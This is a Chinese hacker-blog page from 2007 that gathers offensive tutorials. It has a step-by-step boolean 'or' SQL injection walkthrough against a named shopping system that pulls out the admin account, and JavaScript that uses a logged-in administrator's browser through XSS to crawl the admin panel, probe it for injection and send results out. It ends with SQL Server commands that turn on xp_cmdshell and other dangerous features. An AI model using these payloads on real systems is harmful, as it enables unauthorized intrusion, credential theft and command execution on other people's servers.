星期四, 九月 13, 2007

假是真时真是假——or注入教程

假是真时真是假——or注入教程

文章作者: 落叶纷飞 & 华夏鸡头4 [S.S.T]

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

PS:很久的文章了,07年4月的,最近找到修改了下就发上来,文章有些乱,请大家不要见怪

记得一年前火狐有一位朋友问,如果一个站过滤了and和“'”的话,改怎么注入啊?当时我随口说了句“or注入”,后来又一次看贴的时候,看到他问我该怎么利用呢?我就写了几个简单的语句给他,叫他自己变换,他很感激我,还说网上没有这种方法。我到网上查了查,还真没有or注入专题呢(or 1=1除外),呵呵,所以,一年后的今天,就有了这篇文章。

我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的“假是真时真是假”,比lake2大哥哥的IP欺骗更经典哦,呵呵。

我们来构造测试语句:

vpro.asp?id=1 or exists(select * from admin)

返回错误页面,说明存在admin表我们来换一个表试试!

vpro.asp?id=1 or exists(select * from n0h4ck)

说明不存在n0h4ck这个表。

我们继续来,构造语句

vpro.asp?id=1 or exists(select admin from admin)

返回or 1=1的页面,说明admin表存在admin字段。

vpro.asp?id=1 or exists(select padd from admin)

返回or 1=2的页面,说明admin表不存在padd字段。

我们现在开始猜测数据了,

vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'

返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是“n”。

我们再来

vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'

返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是“a”,我们第一个会想到什么呢?当然是“admin”啦。

我们用left函数确定一下,

vpro.asp?id=1 or (select left(admin,5) from admin)='admin'

猜测正确,的确是admin,好了,后面的话就不用我说了吧!

Sql-injection In Xss[SIX]
文章提交:HeiGe (hack-520_at_163.com)

SIX存在的意义:
1、有权限限制的地方总是让人比较放心,比如后台、内网 .... 。而且有的程序官方否认后台漏洞的危险,比如*vbbs对以前那个数据备用得到shell的态度。的确,在权限的限制下,这样的漏洞很难直接被利用。 Xss就和上面的情况一样,也经常被程序员忽视,而且也不太好防,如果2个情况配合起来,那就意味着利用的难度将大大下降...
2、然后有的人会说xss攻击完全可以通过"劫持"cookie,直接继承权限:比如直接登陆后台。确实这是个好方法,但是有的后台现在都是直接和ip邦定。所以我们可以利用xss直接自动完成后台的一系列攻击如Sql-injection。
3、对于公开程序,你可以根据htm/js代码来自动实现你要攻击的后台的功能,但是如果是完全黑盒的呢?

SIX的原理:
1、利用流程图
hack----------->前台+++++++>+
^ +
| +
后台<++++++<+
^
|
管理员------------
2、xmlhttp让你的代码悄悄执行:
luoluo哥哥写的《XmlHttp的简单封装》的codz:http://pstgroup.blogspot.com/2007/08/javascript.html

SIX的利用:
1、得到后台的url的code:

var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp.get("http://localhost:808/index.php", function(s) {
//通过管理员登陆前台的,列遍所有连接来查找后台 比如得到admin/index.php
var re = new RegExp("<a href=\"([^\"]*)", "ig");
var m = null;
while ((m = re.exec(s)) != null) {
alert(m[1]);
SendUrl(m[1]);//实际中你还要写个函数发送这个数据并且保存,注意这里不可以用xmlhttp发送,因为xmlhttp不可以跨域。
}

});
}

2、列遍后台连接扫描注射点的code:

var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp.get("http://localhost:808/admin/index.php", function(s) {
var re = new RegExp("<a href=\"([^\"]*)", "ig");
var m = null;
while ((m = re.exec(s)) != null) {
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp.get(m[1]+"'",function(s1){
if (s1 != null) {
alert(s1);
SendUrl(s1);
}
});}
//alert(m[1]);
}

});
}
这个只是简单的在连接后面加个'探测。

3、得到后的攻击的code:缺

上面的代码写的很粗糙,如果你要做完整还需要做很多事情。 :)

SIX内网:
很多内网的web在外网是没有办法访问的,如果我们要SIX内网,首先我们要解决的问题是跨域问题:
1、img iframe script 等可以跨域。
2、xmlhttp不可以跨域,但可以配合某些跨域漏洞。

步骤:
(1)、端口扫描
Javascript Based Port Scanner : http://www.securiteam.com/exploits/5DP010KJFE.html
flash port scanner : http://scan.flashsec.org/classes/Main.as
(2)、扫描列遍url并扫描注射点、攻击
这个如果利用html了的img iframe script 等是比较难实现的,但是如果利用上面的xmlhttp的代码又不可以直接跨域,所以必须配合某些跨域漏洞[其中寻找Activex的跨域,是个很好的方向?]
(3)、Overflow in Xss[OIX]:(这个是题外话):如果我们可以跨域,那么我们可以利用xmlhttp直接溢出内网的ftp/http等服务器,当然利用img iframe script 等也可以溢出http/ftp服务器一些url的溢出。要看具体情况了

最后:感谢luoluo牛:我是你的fans,我顶你!

SQL2005开启选项的一些方法整理


sql server 2005下开启xp_cmdshell的办法

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

没有评论:

推广链接